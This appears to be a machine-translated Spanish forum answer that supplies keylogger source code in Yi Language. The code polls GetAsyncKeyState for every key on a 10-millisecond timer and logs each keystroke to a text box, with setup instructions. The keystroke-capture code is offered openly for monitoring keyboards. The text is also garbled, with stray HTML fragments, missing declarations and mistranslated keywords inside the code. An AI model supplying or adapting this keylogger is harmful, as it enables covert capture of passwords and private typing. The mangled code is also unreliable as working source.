¿Se puede utilizar Yi Language como software de monitoreo de teclado?

El siguiente es el código fuente del keylogger. Si lo usas, puedes usarlo así: Crea un cuadro de edición con un reloj de 10 milisegundos (1 milisegundo hará que la máquina se congele) y úsalo. un botón para activar el evento del reloj (Reloj 1. Período del reloj = 10) Evento del período del reloj 1:

Cuadro de edición 1. Agregar texto (registro de teclado (obtener estado del indicador del teclado (1)))

Versión 2

.Registro de teclas del subprograma, tipo de texto

.Estado del caso del parámetro, tipo lógico

.Retorno de carro de variable local, tipo entero<. /p>

.Local Espacio de variables, tipo entero

Variable local Q, tipo entero

Variable local W, tipo entero

. variable E, tipo entero

.Variable local R, tipo entero

.Variable local T, tipo entero

.Variable local Y, tipo entero

.Variable local U , tipo entero

Variable local I, tipo entero

Variable local O, tipo entero

. , tipo entero

.Variable local A, tipo entero

.Variable local S, tipo entero

.Variable local D, tipo entero

.Variable local F, tipo entero

Variable local G, tipo entero

Variable local H, tipo entero

. tipo

.Variable local K, tipo entero

.Variable local L, tipo entero

.Variable local Z, tipo entero

.Variable local C, tipo entero

.Variable local V, tipo entero

.Variable local x, tipo entero

.Variable local B, tipo entero

.Variable local N, tipo entero

Variable local M

Variable local S1

.

.Variable local S3

.Variable local S4

.Variable local S5

.Variable local S6

.Variable local S7

.Variable local S8

.Variable local S9

.Variable local S0

.Variable local más

.Variable local menos

.División de variable local

.Variable local volar

.Variable local VOLVER

.Local variable TAB

Variable local Ctrl

Variable local Alt

Mayúsculas de variable local

.

.Variable local Win

.Variable local n1

.Variable local n2

.Variable local n3

.Variable local n4

.Variable local Variable n5

Variable local n6

Variable local n7

.

Variable local n9

.Variable local n0

.Variable local n punto

.Variable local n y presione Enter

.Variable local n más

.Variable local n menos

.Variable local n dividida

.Variable local n multiplicada

. Variable local F1

.Variable local F2

Variable local F3

Variable local F4

. >

.Variable local F6

.Variable local F7

.

Variable local F8

.Variable local F9

.Variable local F10

.Variable local F11

.Variable local F12

.Variable local Insertar

.Variable local Inicio

.Variable local RePág

.Variable local Eliminar

.Local Fin de variable

.Variable local PageDown

.Coma de variable local

.Período de variable local

.Barra oblicua de variable local

.Variable local BloqNum

.Variable local BloqDesplazamiento

.Variable local ImprimirPantalla

.Variable local Pausa

.Variable local Esc

Variable local dirección hacia arriba

Variable local dirección hacia abajo

Variable local dirección izquierda

. /p>

.Variable local derecha Win

.Corchete L de variable local

.Corchete R de variable local

.Comilla de variable local

Variable local punto y coma

Corchete L = GetAsyncKeyState (219)

Corchete R = GetAsyncKeyState (221)

Punto y coma = GetAsyncKeyState. (186)

Comillas = GetAsyncKeyState (222)

Ganancia correcta = GetAsyncKeyState (92)

Dirección hacia arriba = GetAsyncKeyState (38)

Dirección hacia abajo = GetAsyncKeyState (40)

Dirección izquierda = GetAsyncKeyState (37)

Dirección derecha = GetAsyncKeyState (39)

Coma = GetAsyncKeyState (188)

NumLock = GetAsyncKeyState (144)

ScrollLock = GetAsyncKeyState (145)

PrintScreen = GetAsyncKeyState (44)

Pausa = GetAsyncKeyState ( 19)

Esc = GetAsyncKeyState (27)

Período = GetAsyncKeyState (190)

n0 = GetAsyncKeyState (96)

n1 ＝ GetAsyncKeyState (97)

n2 ＝ GetAsyncKeyState (98)

n3 ＝ GetAsyncKeyState (99)

n4 ＝ GetAsyncKeyState (100)

n5 = GetAsyncKeyState (101)

n6 = GetAsyncKeyState (102)

n7 = GetAsyncKeyState (103)

n8 = GetAsyncKeyState (104)

n9 = GetAsyncKeyState (105)

n veces = GetAsync

KeyState (106)

n más = GetAsyncKeyState (107)

n Enter = GetAsyncKeyState (108)

n menos = GetAsyncKeyState (109)

n puntos = GetAsyncKeyState (110)

n puntos = GetAsyncKeyState (111)

Ctrl = GetAsyncKeyState (tecla #Ctrl)

Alt = GetAsyncKeyState ( #Tecla Alt)

TAB = GetAsyncKeyState (tecla #Tab)

Win = GetAsyncKeyState (91)

Shift = GetAsyncKeyState (tecla #Shift)

p>

Intro = GetAsyncKeyState (tecla #Intro)

Espacio = GetAsyncKeyState (tecla #Espacio)

A = GetAsyncKeyState (tecla #A)

B = GetAsyncKeyState (tecla #B)

C = GetAsyncKeyState (tecla #C)

D = GetAsyncKeyState (tecla #D)

E = GetAsyncKeyState (tecla #E)

F = GetAsyncKeyState (tecla #F)

G = GetAsyncKeyState (tecla #G)

H = GetAsyncKeyState (#H clave)

I ＝ GetAsyncKeyState (tecla #I)

J ＝ GetAsyncKeyState (tecla #J)

K ＝ GetAsyncKeyState (tecla #K)

L ＝ GetAsyncKeyState (tecla #L)

M ＝ GetAsyncKeyState (tecla #M)

N ＝ GetAsyncKeyState (tecla #N)

O ＝ GetAsyncKeyState (tecla #O)

P = GetAsyncKeyState (tecla #P)

Q = GetAsyncKeyState (tecla #Q)

R = GetAsyncKeyState (#R clave)

S = GetAsyncKeyState (tecla #S)

T = GetAsyncKeyState (tecla #T)

U = GetAsyncKeyState (tecla #U)

V = GetAsyncKeyState (tecla #V)

W = GetAsyncKeyState (tecla #W)

x = GetAsyncKeyState (tecla #X)

Y = GetAsyncKeyState (tecla #Y)

Z = GetAsyncKeyState (tecla #Z)

fly = GetAsyncKeyState (192)

S1 = GetAsyncKeyState (49)

S2 = GetAsyncKeyState (50)

S3 = GetAsyncKeyState (51)

S4 = GetAsyncKeyState (52)

S5 = GetAsyncKeyState (53)

S6 = GetAsyncKeyState ( 54)

S7 = GetAsyncKeyState (55)

S8 = GetAsyncKeyState (56)

S9 = GetAsyncKeyState (57)

S0 = GetAsyncKeyState (48)

Menos = GetAsyncKeyState (189)

Agregar = GetAsyncKeyState (187)

División = GetAsyncKeyState (220)

ATRÁS = GetAsyncKeyState (8)

mayúsculas = GetAsyncKeyState (20)

F1 = GetAsyncKeyState (112)

F2 = GetAsyncKeyState (113)

F3 = GetAsyncKeyState (114)

F4 = GetAsyncKeyState (115)

F5 = GetAsyncKeyState (116)

F6 = GetAsyncKeyState (117)

F7 = GetAsyncKeyState (118)

F8 = GetAsyncKeyState (119)

F9 = GetAsyncKeyState (120)

F10 = GetAsyncKeyState (121)

F11 = GetAsyncKeyState (122)

F12 = GetAsyncKeyState (123)

Insertar = GetAsyncKeyState (45)

Inicio = GetAsyncKeyState ( 36 )

PageUp = GetAsyncKeyState (33)

PageDown = GetAsyncKeyState (34)

Fin = GetAsyncKeyState (35)

Eliminar = GetAsyncKeyState (46)

Barra = GetAsyncKeyState (191)

.Si es verdadero (juicio clave (corchete L))

Retorno ("[")

Si es verdadero, final

Si es verdadero (juicio clave (corchete R))

Retorno ("]")

. Finalizar si es verdadero

Si es verdadero (juicio clave (punto y coma))

Devuelve (“;”)

Finalizar si es verdadero

Retorno ("'")

.Si es verdadero fin

.Si es verdadero (juicio clave ( Barra oblicua) ))

Retorno (“/”)

Si es verdadero final

Si es verdadero (juicio clave (coma))

.

Devuelve (",")

Si es verdadero, final

Si es verdadero (juicio clave (victoria correcta))

Devuelve ("{Win}").

.Finalizar si es verdadero

.Si es verdadero (juicio clave (dirección correcta))

Regresar (“→”)

. Finalizar si es verdadero

Si es verdadero (juicio clave (dirección descendente))

Retorno (“↓”)

. p>.Si es verdadero (juicio clave (dirección ascendente))

Retorno (“ ↑”)

.Si es verdadero final

.Si es verdadero (juicio clave (Dirección izquierda))

Retorno (“←”)

Si es verdadero, finalice

Si es verdadero (juicio de clave (Bloq Num))

Retorno ("{Num Lock}")

Si es verdadero, final

Si es verdadero (juicio de clave (ScrollLock))

Retorno (. " {Bloqueo de desplazamiento}")

Si es verdadero, final

Si es verdadero (juicio clave (PrintScreen))

Regreso ("{Prt Scr}" )

.Finalizar si es verdadero

.Si es verdadero (juicio clave (Pausa))

Regresar (“{Pausa}”)

.Fin si es verdadero

.Fin si es verdadero (juicio clave (Esc))

Retorno (“{Esc}”)

.Fin si es verdadero

.Si es verdadero(juicio clave(punto))

Retorno(".")

.Si es verdadero final

.Si es verdadero (juicio clave (S0))

Regresar (“0”)

Si es verdadero, finalizar

Si es verdadero (juicio clave (Entrar))<. /p >

Regresar (“{Enter}”)

Si es verdadero final

Si es verdadero (juicio clave (espacio))

Regresar. (“ {espacio}”)

.End if true

.If true (juicio clave (A))

.If (estado del caso)

Devuelve ("A")

. En caso contrario

Devuelve ("a")

.Si final

. Si es verdadero, final

.Si es verdadero (juicio clave (B))

.Si (estado del caso)

Devuelve ("B")

.En caso contrario

Devuelve (“b”)

.Si final

.Si es verdadero final

.Si es verdadero (Juicio clave (C))

.Si (estado del caso)

Devolver ("C")

.De lo contrario

Devolver ("c")

.Si final

.Si es verdadero final

.Si es verdadero (juicio clave (D))

.If (estado del caso)

Devolver ("D")

. De lo contrario

Devolver ("d")

.if se acaba

.si se acaba

.si

Verdadero (juicio clave (E))

.Si (estado del caso)

Devuelve ("E")

.De lo contrario

Return ("e")

.Si termina

.Si es verdadero, termina

.Si es verdadero (juicio clave (F))

.Si (estado del caso)

Devuelve ("F")

En caso contrario

Devuelve ("f")

.if end

.if true end

.if true (juicio clave (G))

.if (estado del caso)

Devuelve ("G")

. En caso contrario

Devuelve ("g")

.Si final

.If True end

.If true (juicio clave (H))

.If (estado del caso)

Retorno ("H")

. En caso contrario

Devuelve ("h")

.Si final

.Si es verdadero final

.Si verdadero (juicio clave (I))

.Si (estado del caso)

Devuelve ("I")

De lo contrario

. Return ("i")

.If end

.If true end

.If true (juicio clave (J))

.Si (estado del caso)

Devuelve ("J")

. De lo contrario

Devuelve ("j")

. Si final

Si es verdadero final

Si es verdadero (juicio clave (K))

Si (estado del caso)

. Devuelve ("K")

. En caso contrario

Devuelve ("k")

.Si termina

.Si termina

.Si es verdadero (juicio clave (L))

.If (estado del caso)

Devuelve ("L")

De lo contrario

Devuelve ("l")

.Si final

.Si es verdadero final

.Si es verdadero (juicio clave ( M))

.Si (estado del caso)

Devuelve ("M")

De lo contrario

Devuelve (" m” )

.if end

.if true end

.if true (juicio clave (N))

.if (caso status)

Devolver ("N")

. En caso contrario

Devolver ("n")

.Si finaliza

.Si es verdadero final

.Si es verdadero (juicio clave (O))

.Si (estado del caso)

Retorno ("O" )

. De lo contrario

.

Return ("o")

.If end

.If true end

.If true (juicio clave (P))

.Si (estado del caso)

Devuelve ("P")

. De lo contrario

Devuelve ("p")

. if end

.if true end

.if true (juicio clave (Q))

.if (estado del caso)

return("Q")

.de lo contrario

return("q")

.if fin

.si verdadero Fin

.Si es verdadero (juicio clave (R))

.Si (estado del caso)

Devuelve ("R")

. En caso contrario

Retorno ("r")

.Si final

.Si es verdadero final

.Si es verdadero(clave Juicio (S ))

.Si (estado del caso)

Devolver ("S")

De lo contrario

Devolver ( "s").

.If end

.If true end

.If true (juicio clave (T))

If (estado del caso). )

Devuelve ("T")

. En caso contrario

Devuelve ("t")

.If End

Si es verdadero, final

Si es verdadero (juicio clave (U))

Si (estado del caso)

Devuelve ("U").

. En caso contrario

Devuelve ("u")

.Si final

.Si es verdadero final

.Si es verdadero (juicio clave (V))

.Si (estado del caso)

Devuelve ("V")

.De lo contrario

Retorno ("v")

.Si final

.Si es verdadero final

.Si es verdadero (juez clave (W))

.Si (estado del caso)

Devolver (“W”)

De lo contrario

Devolver (“w” ”)

.If end

.If true end

.If true (juicio clave (x))

.If (estado del caso)

Devuelve ("X")

De lo contrario

Devuelve ("x")

Si final

.End. si es verdadero

.Si es verdadero (juicio clave (Y))

.Si (estado del caso)

Devuelve ( "Y")

. En caso contrario

Devuelve ("y")

.Si termina

.Si termina

.Si es verdadero (juicio clave (Z))

.Si (grande

Estado en minúsculas)

Retorno ("Z")

. En caso contrario

Retorno ("z")

.Si final

.End if true

.End if true (juicio clave (S1))

Devuelve (“1”)

.End if verdadero

.Si es verdadero (juicio clave (S2))

Devuelve (“2”)

.Si es verdadero, finaliza

.Si es verdadero (juicio clave (S3))

Devuelve (“3”)

Si es verdadero fin

Si es verdadero (juicio clave (S4)). )

Regresar (“4”)

Si es verdadero final

Si es verdadero (juicio clave (S5))

Regresar. (“ 5")

. Si es verdadero, final

. Si es verdadero (juicio clave (S6))

Devuelve ("6")

.Fin si es verdadero

.Fin si es verdadero (juicio clave (S7))

Devuelve (“7”)

.Fin si es verdadero

.Si es verdadero (juicio clave (S8))

Devuelve ("8")

.Si es verdadero, final

.Si es verdadero (juicio clave (S9))

Retorno (“9”)

Si es verdadero final

Si es verdadero (juicio clave (volar))

Retorno (“`”)

Si es verdadero final

Si es verdadero (juicio clave (agregar))

Retorno (“=). ")

.Fin si es verdadero

.Si es verdadero (juicio clave (resta))

Devuelve (“-”)

.Si es verdadero Fin

Si es verdadero (juicio clave (división))

Devuelve ("\")

Si es verdadero, finaliza

Si es verdadero (juicio clave (BACK))

Retorno ("{Backspace}")

Si es verdadero, final

. juicio clave (TAB))

Retorno ("{Tab}")

Si es verdadero fin

Si es verdadero (juicio clave (Shift))<. /p>

Regresar ("{Shift}")

Si es verdadero, final

Si es verdadero (juicio clave (Ctrl))

Regresar. ("{ Ctrl}")

Si es verdadero, final

Si es verdadero (juicio clave (Alt))

Retorno ("{Alt}").

.End if true

.If true (juicio clave (mayúscula))

Retorno (“{CapsLock}”)

.Si es verdadero Fin

Si es verdadero (juicio clave (Win))

Devuelve ("{Win}")

Si es verdadero, finaliza

.Si es verdadero(juicio clave(n1))

Retorno("1")

.Si es verdadero final

.Si es verdadero( juicio clave (n2)))

Devuelve (“2”)

Si es verdadero final

Si es verdadero (juicio clave (n3))

Retorno (“3”)

Si es verdadero final

Si es verdadero (juicio clave (n4))<.

/p>

Retorno ("4")

Si es verdadero final

Si es verdadero (juicio clave (n5))

Retorno (". 5")

. Si es verdadero, final

. Si es verdadero (juicio clave (n6))

Devuelve ("6")

.Fin si es verdadero

.Fin si es verdadero (juicio clave (n7))

Retorno (“7”)

.Fin si es verdadero

.Si es verdadero (juicio clave (n8))

Retorno ("8")

.Si es verdadero final

.Si es verdadero (clave juicio (n9))

Retorno (“9”)

Si es verdadero final

Si es verdadero (juicio clave (n más))

Retornar (“=")

. Si es verdadero, final

. Si es verdadero (juicio clave (n menos))

Retornar (“- ” )

.Fin si es verdadero

.Si es verdadero (juicio clave (n división))

Retorno (“\”)

.if true end

.if true (juicio clave (n multiplicación))

.if true end

.if true (juicio clave (n transporte) return) ))

Retorno ("{Enter}")

Si es verdadero final

Si es verdadero (juicio clave (n0))

Devuelve ("0")

Si es verdadero, final

Si es verdadero (juicio clave (n puntos))

Devuelve (". " )

.Fin si es verdadero

.Si es verdadero (juicio clave (F1))

Retorno (“{F1}”)

.Fin si es verdadero

.Fin si es verdadero (juicio clave (F2))

Retorno (“{F2}”)

.Fin si es verdadero

.Si es verdadero (juicio clave (F3))

Devuelve ("{F3}")

.Si es verdadero final

.If True (criterio de clave (F4))

Retorno ("{F4}")

Si es verdadero final

. juicio (F5) )

Retorno (“{F5}”)

Si es verdadero final

Si es verdadero (juicio clave (F6))

Retornar (“{F6}”)

Si es verdadero final

Si es verdadero (juicio clave (F7))

Retornar (. “{F7} ")

. Si es verdadero, final

. Si es verdadero (juicio clave (F8))

Retorno ("{F8}")

.Fin si es verdadero

.Fin si es verdadero (juicio clave (F9))

Retorno (“{F9}”)

.Fin si es verdadero

Si es verdadero (juicio clave (F10))

Regrese (“{F10}”)

Si es verdadero, finalice

Si es verdadero (juicio clave (F11))

Retorno ("{F11}")

Si es verdadero, final

. verdadero (juicio clave (F12)))

Regresar (“{F12}”)

Si es verdadero fin

. ))

return("{DEL

}")

. Si es verdadero, final

. Si es verdadero (juicio clave (Insertar))

Devuelve ("{INS}")

.End if true

.End if true (juicio clave (Inicio))

Retorno (“{HOME}”)

.End if verdadero

.Si es verdadero (juicio clave (PageUp))

Retorno ("{Page Up}")

.Si es verdadero, finalice

.Si es verdadero (juicio clave (PageDown))

Retorno ("{Page Down}")

.Si es verdadero final

.Si es verdadero (tecla Juicio (Fin))

Regresar ("{END}")

Si realmente terminó

Regresar ("")

.Juicio de clave de subrutina, tipo lógico

.Clave de parámetro, tipo entero

.Inicio de juicio (clave = -32767)

Retorno (verdadero )

.Default

Devolución (falso)